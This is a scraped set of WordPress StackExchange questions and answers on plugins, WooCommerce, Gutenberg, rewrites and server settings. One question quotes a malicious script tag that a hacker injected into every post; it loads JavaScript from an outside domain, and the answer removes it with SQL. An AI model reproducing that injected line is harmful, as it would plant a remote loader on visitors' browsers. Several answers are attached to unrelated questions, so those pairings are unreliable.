<p>I've been developing a website using WP and to display some database information in the front-end of the site i've created a plugin. Right now i want to include a filtering function for that same information using the plugin, but it does not work.</p> <p>This is the file where i've created the filters, called <stron...
[ { "answer_id": 376444, "author": "kraftner", "author_id": 47733, "author_profile": "https://wordpress.stackexchange.com/users/47733", "pm_score": 3, "selected": true, "text": "<p>Unfortunately there is now way to alter the markup of an existing block apart from <em>wrapping</em> it in ad...
2020/10/16
[ "https://wordpress.stackexchange.com/questions/376616", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196195/" ]
I've been developing a website using WP and to display some database information in the front-end of the site i've created a plugin. Right now i want to include a filtering function for that same information using the plugin, but it does not work. This is the file where i've created the filters, called **show.php** `...
Unfortunately there is now way to alter the markup of an existing block apart from *wrapping* it in additional markup: > > It receives the original block BlockEdit component and returns a new wrapped component. > Source: <https://developer.wordpress.org/block-editor/developers/filters/block-filters/#editor-blockedit>...
376,630
<p>The main Issues is that I am entering the email address &amp; password that I used in creating my WordPress site in digital but It shows that the email address &amp; username doesn’t exist even I checked in my PhpMyAdmin “WordPress” “wp-user” and I am using the right email, username and password but still shows that...
[ { "answer_id": 376444, "author": "kraftner", "author_id": 47733, "author_profile": "https://wordpress.stackexchange.com/users/47733", "pm_score": 3, "selected": true, "text": "<p>Unfortunately there is now way to alter the markup of an existing block apart from <em>wrapping</em> it in ad...
2020/10/16
[ "https://wordpress.stackexchange.com/questions/376630", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196211/" ]
The main Issues is that I am entering the email address & password that I used in creating my WordPress site in digital but It shows that the email address & username doesn’t exist even I checked in my PhpMyAdmin “WordPress” “wp-user” and I am using the right email, username and password but still shows that user doesn...
Unfortunately there is now way to alter the markup of an existing block apart from *wrapping* it in additional markup: > > It receives the original block BlockEdit component and returns a new wrapped component. > Source: <https://developer.wordpress.org/block-editor/developers/filters/block-filters/#editor-blockedit>...
376,643
<p>Here's what I'm trying to do:</p> <p>Page URL: <code>https://example.com/the-page/</code></p> <p>What it should load: <code>https://example.com/content/oct2020/index.html</code></p> <p>When visitors go to the permalink /the-page/, I'd like that permalink to stay exactly the same. But instead of loading content &amp;...
[ { "answer_id": 376644, "author": "Montassar Billeh Hazgui", "author_id": 104567, "author_profile": "https://wordpress.stackexchange.com/users/104567", "pm_score": 1, "selected": false, "text": "<p>First of all, you need to create a new empty folder in the root folder of your WordPress we...
2020/10/16
[ "https://wordpress.stackexchange.com/questions/376643", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/8922/" ]
Here's what I'm trying to do: Page URL: `https://example.com/the-page/` What it should load: `https://example.com/content/oct2020/index.html` When visitors go to the permalink /the-page/, I'd like that permalink to stay exactly the same. But instead of loading content & template files from the WordPress database, it...
You can use the [`template_include` hook](https://developer.wordpress.org/reference/hooks/template_include/) to accomplish this. Add this to your active theme's `functions.php` file (or [create a plugin](https://developer.wordpress.org/plugins/)). ``` add_filter( 'template_include', 'wpse376643_load_html_page' ); fun...
376,649
<p>This message occurs whenever I attempt to upload a file greater than 2M in wordpress. I have made the follow changes in order to increase the allowed file upload sizes:</p> <p>In nginx.conf, I added</p> <pre><code>client_max_body_size 200M; </code></pre> <p>In php.ini, I modified</p> <pre><code>upload_max_filesize =...
[ { "answer_id": 376644, "author": "Montassar Billeh Hazgui", "author_id": 104567, "author_profile": "https://wordpress.stackexchange.com/users/104567", "pm_score": 1, "selected": false, "text": "<p>First of all, you need to create a new empty folder in the root folder of your WordPress we...
2020/10/16
[ "https://wordpress.stackexchange.com/questions/376649", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196179/" ]
This message occurs whenever I attempt to upload a file greater than 2M in wordpress. I have made the follow changes in order to increase the allowed file upload sizes: In nginx.conf, I added ``` client_max_body_size 200M; ``` In php.ini, I modified ``` upload_max_filesize = 200M max_file_uploads = 20 Post_max_siz...
You can use the [`template_include` hook](https://developer.wordpress.org/reference/hooks/template_include/) to accomplish this. Add this to your active theme's `functions.php` file (or [create a plugin](https://developer.wordpress.org/plugins/)). ``` add_filter( 'template_include', 'wpse376643_load_html_page' ); fun...
376,692
<p>The problem I'm having is the custom logo, site title, and description won't appear at the same time. In image 1 below, you can see that with no custom logo, the site title, and description appears just fine.</p> <pre class="lang-php prettyprint-override"><code>&lt;div id=&quot;hotwp-logo&quot;&gt; &lt;?php if (...
[ { "answer_id": 376700, "author": "Jim Worrall", "author_id": 195306, "author_profile": "https://wordpress.stackexchange.com/users/195306", "pm_score": 2, "selected": false, "text": "<p>Maybe I'm missing something here, but it looks like you have an if-else. If there is a logo, it shows....
2020/10/17
[ "https://wordpress.stackexchange.com/questions/376692", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196266/" ]
The problem I'm having is the custom logo, site title, and description won't appear at the same time. In image 1 below, you can see that with no custom logo, the site title, and description appears just fine. ```php <div id="hotwp-logo"> <?php if ( has_custom_logo() ) : ?> <div class="site-branding"> ...
Maybe I'm missing something here, but it looks like you have an if-else. If there is a logo, it shows. Else the title and description show. Try removing the if-else stuff.
376,697
<p>I know this should be easy. BBpress creates user profiles at /forums/users/.</p> <p>I'd like to make them unavailable to anyone, and not be indexed by Google. I've tried the following (in .htaccess) and more, but nothing seems to work. Is it because these are not real directories, just a page hierarchy created by...
[ { "answer_id": 376699, "author": "GeorgeP", "author_id": 160985, "author_profile": "https://wordpress.stackexchange.com/users/160985", "pm_score": 2, "selected": false, "text": "<p>Yes that's a pretty permalink created with rewrite rules for your posts/pages/CPT's and not a real director...
2020/10/17
[ "https://wordpress.stackexchange.com/questions/376697", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195306/" ]
I know this should be easy. BBpress creates user profiles at /forums/users/. I'd like to make them unavailable to anyone, and not be indexed by Google. I've tried the following (in .htaccess) and more, but nothing seems to work. Is it because these are not real directories, just a page hierarchy created by BBpress? Wh...
> > > ``` > # this give internal server error throughout site: > <Files ~ "/users/"> > Header set X-Robots-Tag "noindex, nofollow" > </FilesMatch> > > ``` > > This would give an "internal server error" (500 response) because you've used `</FilesMatch>` to close the `<Files>` section. It should be `</Files>`. But...
376,730
<p>This is my first post, I tried searching for similar problems, didn't find any that would fit my situation. Anyway.</p> <p>Recently my cousins website got hacked, I decided to take a look and try to fix it as an exercise. I have little to none experience with web dev, so I hope to get some helpful feedback here. Whe...
[ { "answer_id": 376699, "author": "GeorgeP", "author_id": 160985, "author_profile": "https://wordpress.stackexchange.com/users/160985", "pm_score": 2, "selected": false, "text": "<p>Yes that's a pretty permalink created with rewrite rules for your posts/pages/CPT's and not a real director...
2020/10/18
[ "https://wordpress.stackexchange.com/questions/376730", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196288/" ]
This is my first post, I tried searching for similar problems, didn't find any that would fit my situation. Anyway. Recently my cousins website got hacked, I decided to take a look and try to fix it as an exercise. I have little to none experience with web dev, so I hope to get some helpful feedback here. Whenever I t...
> > > ``` > # this give internal server error throughout site: > <Files ~ "/users/"> > Header set X-Robots-Tag "noindex, nofollow" > </FilesMatch> > > ``` > > This would give an "internal server error" (500 response) because you've used `</FilesMatch>` to close the `<Files>` section. It should be `</Files>`. But...
376,734
<p>I've recently started paying greater attention to my 404 errors in order to clean up what I can and improve my site's SEO and ranking, and have noticed something that I don't understand.</p> <p>In my 404 error log, I'm seeing quite a few searches conducted by user agents that look like this:</p> <blockquote> <p>pyth...
[ { "answer_id": 376737, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<p>User agents can be anything, it's the client that sets them, so I could make a curl request to your site and...
2020/10/18
[ "https://wordpress.stackexchange.com/questions/376734", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/56458/" ]
I've recently started paying greater attention to my 404 errors in order to clean up what I can and improve my site's SEO and ranking, and have noticed something that I don't understand. In my 404 error log, I'm seeing quite a few searches conducted by user agents that look like this: > > python-requests/2.23.0pytho...
> > What are the python searches? Are they like bad bots? > > > Most probably just "bad bots" searching for potential vulnerabilities. > > How do I block or prevent them? > > > Well, you are already serving a 404 by the sounds of it, so it's really a non-issue. However, you can prevent the request from going...
376,765
<p>I am working on a legacy code where part of the website uses WP and other part ASP.net etc. Is there an easy way to tell me what content is coming from WP vs Non-WordPress? Since the codebase is large this can help me understand the flow of information.</p>
[ { "answer_id": 376768, "author": "cjbj", "author_id": 75495, "author_profile": "https://wordpress.stackexchange.com/users/75495", "pm_score": 3, "selected": true, "text": "<p>This depends very much on you setup and how you want to be able to see this.</p>\n<p>If you look in the source co...
2020/10/19
[ "https://wordpress.stackexchange.com/questions/376765", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196314/" ]
I am working on a legacy code where part of the website uses WP and other part ASP.net etc. Is there an easy way to tell me what content is coming from WP vs Non-WordPress? Since the codebase is large this can help me understand the flow of information.
This depends very much on you setup and how you want to be able to see this. If you look in the source code of a page, you are very likely to be able to see which page is WP generated, because there will be strings like `wp-content` and `wp-includes` present (for instance because `jquery` is loaded by default). You co...
376,827
<p>I tried creating the tables in different ways and I always get the same error: <em>&quot;Error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '( ...... at line 1 of the WordPress database for the CREATE TABLE IF NOT query EXISTS&q...
[ { "answer_id": 376830, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 1, "selected": false, "text": "<p>That's not how you create tables with <code>dbDelta</code>. <code>dbDelta</code> expects an SQL statement as...
2020/10/20
[ "https://wordpress.stackexchange.com/questions/376827", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196358/" ]
I tried creating the tables in different ways and I always get the same error: *"Error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '( ...... at line 1 of the WordPress database for the CREATE TABLE IF NOT query EXISTS"* ``` r...
Finally I found the solution, and as I expected, the error was stupid, simply for some reason that I unknow, the names of the tables must be defined obligatorily within the function, even if you use global $ ... it won't work, you have to define them inside. The correct function was something like this: ``` $table_na...
376,919
<p>We want to move a CRON job from being triggered in WordPress to a server-based job. Right now the code lives in the <em>functions.php</em> file in our WP theme, and we use the WPCrontrol plugin for scheduling. It runs fine, no problem there. The issue is the code has WooCommerce hooks in it. A server-based job has n...
[ { "answer_id": 376830, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 1, "selected": false, "text": "<p>That's not how you create tables with <code>dbDelta</code>. <code>dbDelta</code> expects an SQL statement as...
2020/10/21
[ "https://wordpress.stackexchange.com/questions/376919", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196430/" ]
We want to move a CRON job from being triggered in WordPress to a server-based job. Right now the code lives in the *functions.php* file in our WP theme, and we use the WPCrontrol plugin for scheduling. It runs fine, no problem there. The issue is the code has WooCommerce hooks in it. A server-based job has no idea wha...
Finally I found the solution, and as I expected, the error was stupid, simply for some reason that I unknow, the names of the tables must be defined obligatorily within the function, even if you use global $ ... it won't work, you have to define them inside. The correct function was something like this: ``` $table_na...
376,992
<p>I am using below function to display product information in Shop Page.</p> <pre><code>function woocommerce_template_loop_product_title() { echo '&lt;h5 class=&quot;' . esc_attr( apply_filters( 'woocommerce_product_loop_title_classes', 'woocommerce-loop-product__title' ) ) . '&quot;&gt;' . get_the_title() . '...
[ { "answer_id": 376993, "author": "HK89", "author_id": 179278, "author_profile": "https://wordpress.stackexchange.com/users/179278", "pm_score": 0, "selected": false, "text": "<p>The Complete woocommerce Product Description add in shop page.</p>\n<pre><code> add_action( 'woocommerce_afte...
2020/10/23
[ "https://wordpress.stackexchange.com/questions/376992", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104698/" ]
I am using below function to display product information in Shop Page. ``` function woocommerce_template_loop_product_title() { echo '<h5 class="' . esc_attr( apply_filters( 'woocommerce_product_loop_title_classes', 'woocommerce-loop-product__title' ) ) . '">' . get_the_title() . ' </h5>'; echo '<p>' ...
Product Attributes without Variation Don't Display in Shop page & Product Page Add Attribute and Variations in Product ( [Refer blog](https://docs.woocommerce.com/document/variable-product/) ) > > Note : Product variations is Used Only Variable Product. > > > And Then after put this code in function.php ``` ...
377,027
<p>I know it´s not clearly a technical question, I did not find on the Web (maybe my location makes the job harder).</p> <p>I have to develop a private member space.</p> <p>It´s easier for me to use the wordpress backup (wp-admin folder) with reduced rights(capabilities) for subscribers (eg. access to his invoices ) bu...
[ { "answer_id": 376993, "author": "HK89", "author_id": 179278, "author_profile": "https://wordpress.stackexchange.com/users/179278", "pm_score": 0, "selected": false, "text": "<p>The Complete woocommerce Product Description add in shop page.</p>\n<pre><code> add_action( 'woocommerce_afte...
2020/10/23
[ "https://wordpress.stackexchange.com/questions/377027", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128094/" ]
I know it´s not clearly a technical question, I did not find on the Web (maybe my location makes the job harder). I have to develop a private member space. It´s easier for me to use the wordpress backup (wp-admin folder) with reduced rights(capabilities) for subscribers (eg. access to his invoices ) but I´m little sc...
Product Attributes without Variation Don't Display in Shop page & Product Page Add Attribute and Variations in Product ( [Refer blog](https://docs.woocommerce.com/document/variable-product/) ) > > Note : Product variations is Used Only Variable Product. > > > And Then after put this code in function.php ``` ...
377,040
<p>I have this apply filter in my plugin.</p> <pre><code>$pre_html = apply_filters( 'events_views_html', null, $view_slug, $query, $context ); </code></pre> <p>I want to change <code>$view_slug</code> value dynamically from child theme using <code>add_filter</code> because I do not want to modify plugin files. But this...
[ { "answer_id": 377157, "author": "Yash Tiwari", "author_id": 185348, "author_profile": "https://wordpress.stackexchange.com/users/185348", "pm_score": 0, "selected": false, "text": "<pre><code>Below is an example to modified the value using the add_filter hook:\n\n// Accepting two argume...
2020/10/23
[ "https://wordpress.stackexchange.com/questions/377040", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120693/" ]
I have this apply filter in my plugin. ``` $pre_html = apply_filters( 'events_views_html', null, $view_slug, $query, $context ); ``` I want to change `$view_slug` value dynamically from child theme using `add_filter` because I do not want to modify plugin files. But this code is not working. It is displaying value o...
Filters only allow you to directly modify the **first** value passed to them. In your case, that's `null`. If you shifted `view_slug` up a place, it would be available to filters using your `events_view_html` tag. ``` add_filter( 'events_view_html', 'my_callback', 10, 3); // passing 3 args to the callback, assuming yo...
377,074
<p>I'm trying to do an SQL query and I don't understand something. I get a value with <code>$ _POST</code>, this value is equal to 'définition'. I made this request: <code>$sql = &quot;SELECT DISTINCT * FROM&quot;. $ wpdb-&gt; prefix. &quot;posts WHERE post_title LIKE '%&quot;. $ _POST ['value']. &quot;% '&quot;;</code...
[ { "answer_id": 377659, "author": "Sally CJ", "author_id": 137402, "author_profile": "https://wordpress.stackexchange.com/users/137402", "pm_score": 2, "selected": true, "text": "<p>Your SQL command is highly <strong>insecure</strong> and open to security issues like SQL injection, so eve...
2020/10/24
[ "https://wordpress.stackexchange.com/questions/377074", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195214/" ]
I'm trying to do an SQL query and I don't understand something. I get a value with `$ _POST`, this value is equal to 'définition'. I made this request: `$sql = "SELECT DISTINCT * FROM". $ wpdb-> prefix. "posts WHERE post_title LIKE '%". $ _POST ['value']. "% '";`. A `var_dump($sql)` gives `"SELECT DISTINCT * FROM data...
Your SQL command is highly **insecure** and open to security issues like SQL injection, so even if this may not answer the question, I strongly suggest you to use [`$wpdb->prepare()`](https://developer.wordpress.org/reference/classes/wpdb/prepare/) and [`$wpdb->esc_like()`](https://developer.wordpress.org/reference/cla...
377,083
<p>I'm trying to understand why whitespace appears between the main product image and the product gallery on this page: <a href="http://etica.co.nz/product/mini-icosidodecahedron-ring-bearer-box/" rel="nofollow noreferrer">http://etica.co.nz/product/mini-icosidodecahedron-ring-bearer-box/</a></p> <p>Clicking on the mid...
[ { "answer_id": 377095, "author": "HK89", "author_id": 179278, "author_profile": "https://wordpress.stackexchange.com/users/179278", "pm_score": 0, "selected": false, "text": "<p>Your issue is flex slider in This page.</p>\n<p>Put This script in footer.php</p>\n<pre><code>&lt;script type=...
2020/10/24
[ "https://wordpress.stackexchange.com/questions/377083", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196586/" ]
I'm trying to understand why whitespace appears between the main product image and the product gallery on this page: <http://etica.co.nz/product/mini-icosidodecahedron-ring-bearer-box/> Clicking on the middle image will remove the whitespace. Why would it be doing this? Cheers
Ok, so eventually managed to figure out that it was due to a couple of optimization plugins that were interfering with WooCommerce's image slider: JetPack's lazy loading and SG Optimizer. Deactivated SG Optimizer and added the following to my child theme's functions.php: ``` function is_lazyload_activated() { $co...
377,143
<p>I have a page like mysite.com/contacts/ If I enter non-existent urls like:</p> <pre><code>mysite.com/contacts--/ mysite.com/contacts%20/ </code></pre> <p>i get status 200 and the page opens mysite.com/contacts/ although if I enter:</p> <pre><code>mysite.com/contacts1/ </code></pre> <p>As expected, I am getting a 404...
[ { "answer_id": 377145, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 3, "selected": true, "text": "<p><strong>That's not what's happening</strong>, when you visit <code>/contacts--/</code> it doesn't return a 20...
2020/10/26
[ "https://wordpress.stackexchange.com/questions/377143", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/136775/" ]
I have a page like mysite.com/contacts/ If I enter non-existent urls like: ``` mysite.com/contacts--/ mysite.com/contacts%20/ ``` i get status 200 and the page opens mysite.com/contacts/ although if I enter: ``` mysite.com/contacts1/ ``` As expected, I am getting a 404 error. How can I implement error handling a...
**That's not what's happening**, when you visit `/contacts--/` it doesn't return a 200 code, but instead it returns a `301` redirect code. The browser then follows this redirect and heads to `/contact` and it's `/contact` that returns `200` code. This is because `/contact` is the canonical URL of that page, and WordPr...
377,268
<p>I'm trying to display every key and value from WooCommerce <code>get_formatted_meta_data</code> order meta details. This is my code to generate the array:</p> <pre><code>$order = new WC_Order( $order_id ); foreach ( $order-&gt;get_items() as $item_id =&gt; $item ) { $item_data = $item-&gt;get_data(); ...
[ { "answer_id": 377282, "author": "Djilan MOUHOUS", "author_id": 196754, "author_profile": "https://wordpress.stackexchange.com/users/196754", "pm_score": 1, "selected": false, "text": "<p>if you can print your array why cant' you just do a loop on this array and adding each line into you...
2020/10/28
[ "https://wordpress.stackexchange.com/questions/377268", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/65317/" ]
I'm trying to display every key and value from WooCommerce `get_formatted_meta_data` order meta details. This is my code to generate the array: ``` $order = new WC_Order( $order_id ); foreach ( $order->get_items() as $item_id => $item ) { $item_data = $item->get_data(); $item_meta_data = $item->get...
if you can print your array why cant' you just do a loop on this array and adding each line into your output\_content. It will look like this ``` <?php $myArray = Array ( 0 => Array ( 0 => "Color", 1 => "Black", ), 1 => Array ( 0 => "Size", ...
377,289
<p>In my plugin I try to login a user and redirect them to a specific page, but when I redirect the user, they are not logged in :-/</p> <p>I have tried multiple variations of code that looks like this:</p> <pre><code>$wp_user = get_user_by( 'email', 'johndoe@example.com'); wp_clear_auth_cookie(); do_action('wp_login',...
[ { "answer_id": 377282, "author": "Djilan MOUHOUS", "author_id": 196754, "author_profile": "https://wordpress.stackexchange.com/users/196754", "pm_score": 1, "selected": false, "text": "<p>if you can print your array why cant' you just do a loop on this array and adding each line into you...
2020/10/28
[ "https://wordpress.stackexchange.com/questions/377289", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/153529/" ]
In my plugin I try to login a user and redirect them to a specific page, but when I redirect the user, they are not logged in :-/ I have tried multiple variations of code that looks like this: ``` $wp_user = get_user_by( 'email', 'johndoe@example.com'); wp_clear_auth_cookie(); do_action('wp_login', $wp_user->user_log...
if you can print your array why cant' you just do a loop on this array and adding each line into your output\_content. It will look like this ``` <?php $myArray = Array ( 0 => Array ( 0 => "Color", 1 => "Black", ), 1 => Array ( 0 => "Size", ...
377,340
<p>Is it possible to move paypal checkout button to another place on the screen?</p> <p><a href="https://i.stack.imgur.com/xjiVJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xjiVJ.png" alt="enter image description here" /></a></p> <p>Right now the paypal button is on regular gateway form, I would ...
[ { "answer_id": 377343, "author": "Walter P.", "author_id": 65317, "author_profile": "https://wordpress.stackexchange.com/users/65317", "pm_score": 2, "selected": true, "text": "<p>Have you tried this?</p>\n<p>E.g. the paypal button function name is <code>woo_custom_paypal_button</code>.<...
2020/10/29
[ "https://wordpress.stackexchange.com/questions/377340", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/191084/" ]
Is it possible to move paypal checkout button to another place on the screen? [![enter image description here](https://i.stack.imgur.com/xjiVJ.png)](https://i.stack.imgur.com/xjiVJ.png) Right now the paypal button is on regular gateway form, I would like to move it to `woocommerce_checkout_before_customer_details` ac...
Have you tried this? E.g. the paypal button function name is `woo_custom_paypal_button`. Then add action like this into your `function.php` or specific plugin: ``` add_action( 'woocommerce_checkout_before_customer_details', 'woo_custom_paypal_button' ); ``` Or if there's something that's already displayed there, a...
377,379
<p>I'd like to completely disable RSS feeds on my WP website. Can someone please guide me on how to throw a 404.php page and set the headers to 404, when someone types in <code>https://example.com/feed/</code></p> <p>here is the code in functions.php:</p> <pre><code>function disable_feeds() { global $wp_query; ...
[ { "answer_id": 377395, "author": "chris_blues", "author_id": 196810, "author_profile": "https://wordpress.stackexchange.com/users/196810", "pm_score": 1, "selected": false, "text": "<p>If I want to bail out of my WP, I do it like this:</p>\n<pre><code> $wp_query-&gt;set_404();\n st...
2020/10/30
[ "https://wordpress.stackexchange.com/questions/377379", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196827/" ]
I'd like to completely disable RSS feeds on my WP website. Can someone please guide me on how to throw a 404.php page and set the headers to 404, when someone types in `https://example.com/feed/` here is the code in functions.php: ``` function disable_feeds() { global $wp_query; $wp_query->is_feed = false...
You need to define the HTTP Response code in `wp_die` function. ```php wp_die( __('No feed available,please visit our <a href="'. get_bloginfo('url') .'">homepage</a>!'), '', 404 ); ```
377,382
<p>By adding a new post, we have access to all core blocks from the very beginning. I would like to limit this and prevent some core blocks from being used on the main level. They should only be available inside my custom inner block.</p> <p>I have been given some advice about:</p> <ul> <li>using the <code>template</co...
[ { "answer_id": 377394, "author": "Towhidul Islam", "author_id": 196377, "author_profile": "https://wordpress.stackexchange.com/users/196377", "pm_score": 0, "selected": false, "text": "<p>If I understand your post correctly, I believe you are looking for <code>ALLOWED_BLOCKS </code> prop...
2020/10/30
[ "https://wordpress.stackexchange.com/questions/377382", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133615/" ]
By adding a new post, we have access to all core blocks from the very beginning. I would like to limit this and prevent some core blocks from being used on the main level. They should only be available inside my custom inner block. I have been given some advice about: * using the `template` with `init` action * using...
You will need to filter the template for the post type: ``` add_action( 'init', 'setup_template' ); function setup_template() { $post_object = get_post_type_object( 'post' ); $post_object->template = [ [ 'your/custom/block' ] ]; $post_object->template_lock = 'all'; } ``` This will pre-populate the post ...
377,483
<p>I'm new in WordPress development and I just created my first theme.</p> <p>In my wp-admin, the <code>&quot;Site Health&quot;</code> tells me that a PHP session has been detected (critical error), here is the message :</p> <blockquote> <p>A PHP session was created by a session_start() function call. This interferes w...
[ { "answer_id": 380509, "author": "Francesco Mantovani", "author_id": 157101, "author_profile": "https://wordpress.stackexchange.com/users/157101", "pm_score": 0, "selected": false, "text": "<p>In my case this was caused by the plugin &quot;Contact Form by BestWebSoft&quot;.</p>\n<p>If yo...
2020/11/01
[ "https://wordpress.stackexchange.com/questions/377483", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196921/" ]
I'm new in WordPress development and I just created my first theme. In my wp-admin, the `"Site Health"` tells me that a PHP session has been detected (critical error), here is the message : > > A PHP session was created by a session\_start() function call. This > interferes with REST API and loopback requests. The s...
I was facing same issue. I replaced the code ``` session_start(); ``` with ``` if (!isset($_SESSION)) { session_start(['read_and_close' => true]); } ``` and it worked for me.
377,597
<p>I'm trying to diagnose a similar problem to <a href="https://wordpress.stackexchange.com/questions/320483/uncaught-typeerror-wp-apifetch-is-not-a-function">this question</a>, but in that case he wasn't depending on <code>wp-api-fetch</code>, and ... I'm pretty sure I am.</p> <p>I'm getting the following error:</p> <...
[ { "answer_id": 380509, "author": "Francesco Mantovani", "author_id": 157101, "author_profile": "https://wordpress.stackexchange.com/users/157101", "pm_score": 0, "selected": false, "text": "<p>In my case this was caused by the plugin &quot;Contact Form by BestWebSoft&quot;.</p>\n<p>If yo...
2020/11/03
[ "https://wordpress.stackexchange.com/questions/377597", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194028/" ]
I'm trying to diagnose a similar problem to [this question](https://wordpress.stackexchange.com/questions/320483/uncaught-typeerror-wp-apifetch-is-not-a-function), but in that case he wasn't depending on `wp-api-fetch`, and ... I'm pretty sure I am. I'm getting the following error: ``` [Error] Unhandled Promise Rejec...
I was facing same issue. I replaced the code ``` session_start(); ``` with ``` if (!isset($_SESSION)) { session_start(['read_and_close' => true]); } ``` and it worked for me.
377,614
<p>I can't find any useful information in Gutenberg Handbook. <a href="https://developer.wordpress.org/block-editor/developers/themes/theme-support/#block-gradient-presets" rel="nofollow noreferrer">Here</a> is information about adding gradients, but it only works for some core blocks.</p> <p>I use <code>ColorPalette</...
[ { "answer_id": 377619, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 3, "selected": true, "text": "<p><strong>The documentation for that control does not exist at this time. Instructions have not been written ye...
2020/11/03
[ "https://wordpress.stackexchange.com/questions/377614", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133615/" ]
I can't find any useful information in Gutenberg Handbook. [Here](https://developer.wordpress.org/block-editor/developers/themes/theme-support/#block-gradient-presets) is information about adding gradients, but it only works for some core blocks. I use `ColorPalette` to create colors (or to use the color picker) but s...
**The documentation for that control does not exist at this time. Instructions have not been written yet. It is an experimental component.** --- You need to use an appropriate control in your blocks Edit component. Note that these are very new components, their design will likely change, *it should be considered exp...
377,620
<p>I running an instance of Wordpress on my web server but I'm getting this error in the logs</p> <pre><code>PHP Warning: chmod(): Operation not permitted in /home/webserver/html/wp-admin/includes/class-wp-filesystem-direct.php on line 173, referer: http:// mysite.com/ </code></pre> <p>I check the <code>class-wp-fil...
[ { "answer_id": 377619, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 3, "selected": true, "text": "<p><strong>The documentation for that control does not exist at this time. Instructions have not been written ye...
2020/11/03
[ "https://wordpress.stackexchange.com/questions/377620", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197023/" ]
I running an instance of Wordpress on my web server but I'm getting this error in the logs ``` PHP Warning: chmod(): Operation not permitted in /home/webserver/html/wp-admin/includes/class-wp-filesystem-direct.php on line 173, referer: http:// mysite.com/ ``` I check the `class-wp-filesystem-direct.php` file on 1...
**The documentation for that control does not exist at this time. Instructions have not been written yet. It is an experimental component.** --- You need to use an appropriate control in your blocks Edit component. Note that these are very new components, their design will likely change, *it should be considered exp...
377,712
<p>In WooCommerce I create orders and users by code and on the 'order-pay' endpoint a user is created by form + ajax. The 'proceed to checkout' button is disabled by jQuery until the user is created. Now I want to create a server side check. So trying to run a function after submit but before the redirect to the paymen...
[ { "answer_id": 377728, "author": "Peps", "author_id": 188144, "author_profile": "https://wordpress.stackexchange.com/users/188144", "pm_score": 3, "selected": true, "text": "<p>Why is it so hard to find a list of woocommerce hooks per page or sequence of execution or order &gt; payment f...
2020/11/05
[ "https://wordpress.stackexchange.com/questions/377712", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/188144/" ]
In WooCommerce I create orders and users by code and on the 'order-pay' endpoint a user is created by form + ajax. The 'proceed to checkout' button is disabled by jQuery until the user is created. Now I want to create a server side check. So trying to run a function after submit but before the redirect to the payment g...
Why is it so hard to find a list of woocommerce hooks per page or sequence of execution or order > payment flow? Anyway, after hours and hours of searching: ``` add_action( 'woocommerce_before_pay_action', 'Your Function', 1, 1 ); ```
377,752
<p>My Wordpress site has been hacked and every post has had</p> <p><code>&lt;script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'&gt;&lt;/script&gt;</code></p> <p>added to the end of each post which I need to remove. I have 375 posts I need this removing from I have tried</p> <p><code>UPDAT...
[ { "answer_id": 377775, "author": "uPrompt", "author_id": 155077, "author_profile": "https://wordpress.stackexchange.com/users/155077", "pm_score": 4, "selected": true, "text": "<p>Try this:</p>\n<pre><code>UPDATE wp_posts SET post_content = REPLACE (post_content, &quot;&lt;script src='ht...
2020/11/06
[ "https://wordpress.stackexchange.com/questions/377752", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197148/" ]
My Wordpress site has been hacked and every post has had `<script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>` added to the end of each post which I need to remove. I have 375 posts I need this removing from I have tried `UPDATE wp_posts SET post_content = REPLACE (post_conte...
Try this: ``` UPDATE wp_posts SET post_content = REPLACE (post_content, "<script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>",""); ```
377,848
<p>I tried several plugins posted by Weston Ruter for jQuery created controls for the WP Customizer. They work but are different from those created via PHP. For example, controls created with PHP (<code>customizer.php</code>) respond normally to code in <code>customize-controls.js</code> or in <code>customize-previews....
